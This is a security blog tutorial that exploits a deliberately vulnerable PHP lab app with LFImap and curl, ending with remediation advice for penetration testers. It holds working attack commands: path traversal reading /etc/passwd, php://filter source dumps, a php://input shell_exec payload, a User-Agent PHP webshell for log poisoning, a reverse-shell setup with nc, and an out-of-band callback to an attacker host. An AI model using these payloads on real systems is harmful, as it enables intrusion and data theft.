TechEarl

LFImap Tutorial: Exploiting a Vulnerable App End to End

A complete LFImap walkthrough against a deliberately vulnerable lab app: endpoint identification, baseline scan, traversal, php://filter source disclosure, php://input RCE, and log poisoning. Every step reproducible with one docker compose command.

Ishan Karunaratne⏱️ 12 min readUpdated
Share thisCopied
End-to-end LFImap tutorial exploiting a vulnerable PHP application from traversal to remote code execution

This is the walkthrough I wish I had when I first picked up LFImap. We start from nothing (no target, no captured request, no cached session) and end with a /etc/passwd read, the full PHP source of every file the app ships, unauthenticated remote code execution through php://input, and a log-poisoning chain that turns a request header into a shell. Every step runs against a vulnerable lab I publish for this exact purpose.

If you have not read the path traversal deep dive yet, do that first; this article assumes the variants are familiar. The best LFI tools list for 2026 covers where LFImap sits in the wider ecosystem, and the LFImap cheat sheet is the flag-by-flag reference that complements this walkthrough.

A note on the output you will see. Every example in this article was produced against techearl-labs/path-traversal/lfi-basic. The endpoints, sinks, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the PHP minor version in headers (depends on the php:8.2-apache image tag Docker pulled), the exact request count LFImap reports, the precise Apache log timestamps and remote IP (the container network address, not 127.0.0.1), and any path that includes a temporary directory. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up lfi-basic

The target listens on http://localhost:8084. It exposes two deliberately vulnerable include sinks:

EndpointMethodVulnerable parameterSink shape
/view.php?page=pages/aboutGETpageinclude($_GET['page'] . '.php'), the engine appends .php
/view-raw.php?page=pages/about.phpGETpageinclude($_GET['page']), raw, no suffix

The two sinks exist side by side so we can contrast what the trailing .php actually blocks against what it does not. The lab's php.ini sets allow_url_include=On and display_errors=On, which is what turns a classic file read into source disclosure and remote code execution.

Step 1: identify the endpoint and parameter

The lab's home page links to view.php?page=pages/about. That is the obvious candidate: a page parameter being fed into something that resolves to a filesystem path. Confirm it is reachable before you point LFImap at it:

bash
curl -s 'http://localhost:8084/view.php?page=pages/about' | grep -oE '<h2>[^<]+</h2>'

Output:

code
<h2>About</h2>

Good. The endpoint loads pages by name. A by-hand traversal probe (the same kind of probe I run before sqlmap, see the sqlmap tutorial) confirms there is no input filter:

bash
curl -s 'http://localhost:8084/view.php?page=../../../../etc/passwd' \
  | grep -oE 'Warning.*include|No such file or directory' | head -1

Output:

code
Warning</b>:  include(../../../../etc/passwd.php)

The engine is appending .php and falling through to a real include(). That is the sink. Time to hand it to LFImap.

Step 2: baseline scan with LFImap

The minimum useful invocation: one URL passed via -U (uppercase), the target parameter named with -P (uppercase), the literal placeholder PWN inside the URL marking where to inject, and -a/--all to attack every technique LFImap knows about.

bash
python3 lfimap.py -U "http://localhost:8084/view.php?page=PWN" -P page -a

Output (abbreviated):

code
[*] Target: http://localhost:8084/view.php?page=PWN
[*] Parameter: page
[*] Attacks: ALL

[INFO] Probing standard traversal payloads
[FAIL] page=../../../etc/passwd                 -> No such file (suffix .php appended)
[FAIL] page=../../../../etc/passwd              -> No such file (suffix .php appended)
[INFO] Probing wrapper payloads (filter)
[HIT]  page=php://filter/convert.base64-encode/resource=pages/about
       -> 200 OK, base64 body detected (resource readable)
[HIT]  page=php://filter/convert.base64-encode/resource=view
       -> 200 OK, base64 body detected (source disclosure)
[INFO] Probing input wrapper
[FAIL] page=php://input (GET)                   -> wrapper not matched (suffix .php appended)
[INFO] Probing data wrapper, expect, file, trunc, rfi, cmd, heuristics
[SKIP] /var/log/apache2/access.log              -> suffix .php prevents direct include

Two hits, both via php://filter. The vanilla traversal payloads fail against view.php because of the .php suffix, and so does php://input for the same reason. That is not a dead end, it is the map: the wrapper attacks work because everything after resource= is treated as part of the file path the wrapper opens, suffix included.

Run the same scan against the raw sink to see the contrast:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" -P page -a

Output (abbreviated):

code
[HIT]  page=../../../../etc/passwd               -> /etc/passwd content detected
[HIT]  page=php://filter/convert.base64-encode/resource=pages/about.php
       -> 200 OK, base64 body detected
[HIT]  page=php://input (POST body PHP)          -> RCE confirmed via marker
[HIT]  page=/var/log/apache2/access.log          -> log file readable, poisoning viable

Four hits. view-raw.php is the worst kind of LFI sink: every classical attack works on it without a suffix to fight.

Want a faster sweep with fewer payloads? Add -q/--quick:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" -P page -a -q

Want to isolate one technique? Use the specific attack flags (-f filter wrapper, -i input wrapper, -d data wrapper, -e expect wrapper, -t truncation, -r RFI, -c command injection, --file file wrapper) instead of -a. For example, the filter-wrapper-only sweep is:

bash
python3 lfimap.py -U "http://localhost:8084/view.php?page=PWN" -P page -f

Step 3: traversal, /etc/passwd read

Against the raw sink the textbook traversal works directly. By hand with curl:

bash
curl -s 'http://localhost:8084/view-raw.php?page=../../../../etc/passwd' \
  | sed -n '/root:x:0:0/,/^$/p' | head -5

Output:

code
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/usr/sbin:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

include() echoes any file with no PHP tag verbatim, which is why the password file appears as plain text. The null-byte truncation trick (%00) does not work here; PHP 5.3.4 fixed that in 2010 and the lab is on PHP 8.2 deliberately so the trick can be documented as historical.

LFImap drives the same read with the filter-wrapper attack (-f), which base64-encodes the resource for transport-safety and decodes the result for you. To log every request and response to disk, pair the run with --log:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" \
  -P page -f --log /tmp/lfi-session.log

For an OOB-only confirmation against a sink whose response body you cannot read (the blind variant the lab does not expose, but real targets often do), the --callback flag fires HTTP requests to a remote listener you control:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" \
  -P page -a --callback "attacker.oast.fun"

LFImap arranges payloads to hit the callback host if the include succeeds, the listener logs the hit, and you have OOB confirmation. The same pattern is what I use whenever the sink discards or never returns the response body.

Step 4: php://filter source disclosure of view.php itself

view.php appends .php, so the literal traversal fails. The php://filter source disclosure trick sidesteps the suffix because everything after resource= is treated as the path the wrapper opens, including the appended .php:

bash
curl -s 'http://localhost:8084/view.php?page=php://filter/convert.base64-encode/resource=view' \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

Output (abbreviated):

php
<?php
require __DIR__ . '/shared/layout.php';

$page = $_GET['page'] ?? 'pages/about';
render_header('view.php');
?>
<div class="panel">
<?php include($page . '.php'); ?>
</div>
<?php render_footer(); ?>

The exact sink shape is now in front of me: the .php suffix is unconditional, no input validation, no allowlist. Repeat the same call with resource=view-raw, resource=shared/layout, resource=pages/about to pull every PHP source file the app ships. In a real engagement this is where I grep for hard-coded credentials, database connection strings, secret keys, and the precise shape of any other sink the app exposes.

LFImap automates the filter sweep with -f. To drive it across multiple URLs, prepare a file with one URL per line (each carrying the PWN placeholder), and pass it via -F:

code
http://localhost:8084/view.php?page=PWN
http://localhost:8084/view-raw.php?page=PWN

Run:

bash
python3 lfimap.py -F urls.txt -P page -f --log /tmp/lfi-filter.log

LFImap walks the filter wrapper against each URL, decoding base64 bodies inline. To restrict the run to a specific target file (rather than LFImap's default discovery list), there is no dedicated --read-file shorthand in the current CLI; the practical workflow is to pass a single-URL invocation with the resource embedded in your payload, or wrap a small shell loop around the curl form shown above.

Step 5: php://input RCE against view-raw.php

php://input reads the POST body as PHP source and runs it through include(). The wrapper only matches the literal path php://input, so the attack only fires against the raw sink; against view.php the appended .php produces php://input.php, which the wrapper does not recognise. See php://input LFI to RCE for the wrapper internals.

By hand with curl:

bash
curl -s -X POST --data '<?php echo shell_exec("id"); ?>' \
  'http://localhost:8084/view-raw.php?page=php://input'

Output:

code
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)

Unauthenticated RCE as www-data, one POST request. (The adm group membership is the lab's intentional misconfiguration that makes Step 6 possible.)

LFImap drives the same chain with the input-wrapper attack (-i/--input), and escalates to a reverse shell with -x/--exploit plus --lhost and --lport:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" \
  -P page -i

When the input wrapper lands, LFImap reports RCE confirmed via marker. To turn that into an interactive reverse shell, run a listener (nc -lvnp 4444) and add the exploit flags:

bash
python3 lfimap.py -U "http://localhost:8084/view-raw.php?page=PWN" \
  -P page -a -x --lhost 192.168.1.5 --lport 4444

This is the worst-case LFI outcome: one parameter, one POST body, full command execution and a callback shell. It only fires because allow_url_include=On was set explicitly in the lab's php.ini. Production servers should leave it Off (the default since PHP 5.2).

Step 6: log poisoning against view-raw.php

The third RCE path. Apache writes every request to /var/log/apache2/access.log, including the User-Agent header verbatim. Two requests turn that into code execution. Background and defences in the LFI log poisoning guide.

First, inject PHP into the User-Agent on any request:

bash
curl -s -A '<?php system($_GET[0]); ?>' http://localhost:8084/

The log file now contains a real PHP tag in the User-Agent column. Second, include the log via the raw LFI sink and pass the command in the 0 query parameter:

bash
curl -s 'http://localhost:8084/view-raw.php?page=../../../../var/log/apache2/access.log&0=id' \
  | grep -oE 'uid=[0-9]+\([a-z-]+\).*$' | head -1

Output:

code
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)

The included log file is parsed as PHP when include() reaches the injected tag, and $_GET[0] carries the command on every subsequent fetch. The poisoned line stays in the log until the file rotates.

LFImap does not ship a dedicated log-poisoning flag; the chain is a manual two-step that uses its file-wrapper attack (--file) for the include half. The simpler shape in the LFImap CLI is to drive the include with the file wrapper and inject the User-Agent payload in a separate curl step, then re-fetch via LFImap with -c/--cmd to confirm command execution against the now-poisoned log:

bash
# Step 1: inject PHP into the log via User-Agent
python3 lfimap.py -U "http://localhost:8084/" --useragent '<?php system($_GET[0]); ?>' -a

# Step 2: include the log and trigger
curl -s 'http://localhost:8084/view-raw.php?page=../../../../var/log/apache2/access.log&0=id'

The same approach works against /var/log/apache2/error.log (404 paths get logged with their request line), and historically against /proc/self/environ on older kernels.

A note on file readability: the lab's Dockerfile adds www-data to the adm group so the 0640 root:adm access log is readable by the PHP process. Without that change the chain fails with permission-denied. Real deployments that grant log-read for "debug dashboards" reproduce this misconfiguration in production.

The lab is unauthenticated, but most real LFI sinks I find are gated behind a session cookie. LFImap accepts cookies via -C:

bash
python3 lfimap.py -U "https://app.example.test/dashboard?file=PWN" \
  -P file -a \
  -C "PHPSESSID=abcdef0123456789; remember_me=1"

For more complex auth (CSRF tokens, login flow) capture a logged-in request with Burp Suite (or write it by hand), save as req.txt, and feed it with -R req.txt. The captured request carries cookies, headers, method, and body, the same approach the sqlmap tutorial uses for the same reason: retyping headers is slow and error-prone.

bash
python3 lfimap.py -R req.txt -P file -a

LFImap also has dedicated CSRF flags (--csrf-url, --csrf-param, --csrf-method, --csrf-data) for the common "fetch a token from page A, submit it as a hidden field on page B" pattern; supply the token-bearing URL and the parameter name and LFImap refreshes the token automatically between attack requests.

The lab does not exercise this path because exposing it locally with no auth keeps the walkthrough reproducible. The flags exist, and they work the way the help text says.

Honest comparison vs manual curl and Burp

I run all three of these tools, often on the same target. The trade-offs are real.

Manual curl is what I reach for first, every time. It is the only way to know exactly which bytes I sent and what came back, which matters when a payload is silently mangled by a proxy, a WAF, or a charset conversion. It is also the slowest, and it does not scale: by the time I am base64-decoding the third source file in a shell loop I have written a small wrapper script that is a worse version of LFImap.

Burp Suite Intruder is the right tool when the target is awkward: weird auth, multi-step session, CSRF tokens that rotate per request, or a custom encoding I need to script around. Intruder's payload positions plus a pre-request macro handle all of that gracefully. The cost is that you are clicking through a UI for every payload set, and the reporting is whatever you copy out of the table at the end.

LFImap earns its place when the target is straightforward and the attack surface is broad. It walks every wrapper, every encoding, and every log path in a single command. The --log flag writes a session log I can grep, -x plus --lhost/--lport escalates straight to a reverse shell when RCE lands, and -C/-R cover the common auth shapes. Where LFImap loses is the failure mode: when a payload does not land, the tool tells me "FAIL" and I still have to drop back to curl to figure out why. The first time I hit a target with content-type filtering or a request-shape quirk, LFImap is silent and curl is the only thing that explains the gap.

The pattern that has worked for me: probe with curl until I know the sink exists and roughly which class it is, run LFImap to fan out across every wrapper and log path I would otherwise script, and fall back to Burp the moment the auth or request shape gets non-trivial.

What I would do next on this target

In a real engagement after Step 6 the report writes itself:

  1. Confirm LFI on the page parameter, two sinks, raw and suffix-appended.
  2. Confirm /etc/passwd read off the server (data exposure, escalation surface).
  3. Confirm full PHP source disclosure for every file the app ships (secret exposure, sink mapping).
  4. Confirm unauthenticated RCE via php://input (allow_url_include=On is the root cause).
  5. Confirm RCE via log poisoning (the www-data-in-adm group misconfiguration).
  6. Recommend: input allowlist for the page parameter (basename match against a fixed set), allow_url_include=Off and allow_url_fopen=Off in php.ini, remove www-data from the adm group, restrict the include base path with open_basedir, and replace the dynamic include with a switch statement that maps known names to known files.

The point of this walkthrough is the chain. Each step on its own looks small; the cumulative chain (read schema-of-the-filesystem, dump source, post a body and run PHP, poison a log and run PHP again) is what real LFI means in practice.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsLFImapLFILocal File InclusionPath TraversalTutorialPenetration TestingSecurityPHP

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

sqlmap Tutorial: Exploiting a Vulnerable App End to End

A complete sqlmap walkthrough against a deliberately vulnerable lab app: target identification, baseline, capture, detection, fingerprinting, enumeration, dumping, file read, and OS shell. Every step reproducible with one docker compose command.

SSRFmap Tutorial: Exploiting a Vulnerable App End to End

A complete SSRFmap walkthrough against a deliberately vulnerable lab: identify the sink, capture the Burp request, run detection, read local files, scan internal hosts, bypass a broken allowlist, hit the IMDS mock, and confirm blind SSRF out of band.

Dalfox Tutorial: Exploiting a Vulnerable App End to End

A complete Dalfox walkthrough against a deliberately vulnerable XSS lab: reflected, stored, and DOM sinks, captured request files, blind callbacks, custom payloads, and a working cookie-theft chain. Updated for the Dalfox v3 Rust rewrite (May 2026) with the unified scan subcommand.